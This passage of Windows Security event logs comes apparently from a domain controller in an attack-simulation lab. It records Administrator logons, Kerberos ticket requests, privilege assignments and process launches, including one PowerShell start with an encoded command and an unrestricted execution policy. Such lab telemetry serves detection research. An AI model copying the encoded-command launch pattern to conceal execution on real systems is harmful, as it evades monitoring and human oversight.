SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257822 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E507 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257821 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257820 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257819 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257818 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5543C3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257817 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x553751 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257816 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x552384 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257866 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x56205A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257865 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x56205A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257864 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257863 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257862 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257861 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x127c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES9877.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCB235A348DD004C7FAE449F1E7BF24D7.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257860 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfe4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\1atoc2hq.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257859 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x561262 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257858 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x561262 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257857 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257856 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257855 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257854 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfe4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257853 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb90 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257852 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55F201 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257851 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55F201 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257850 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257849 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5BC0902A-31C9-47F0-1EC2-83757BEA5599} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on 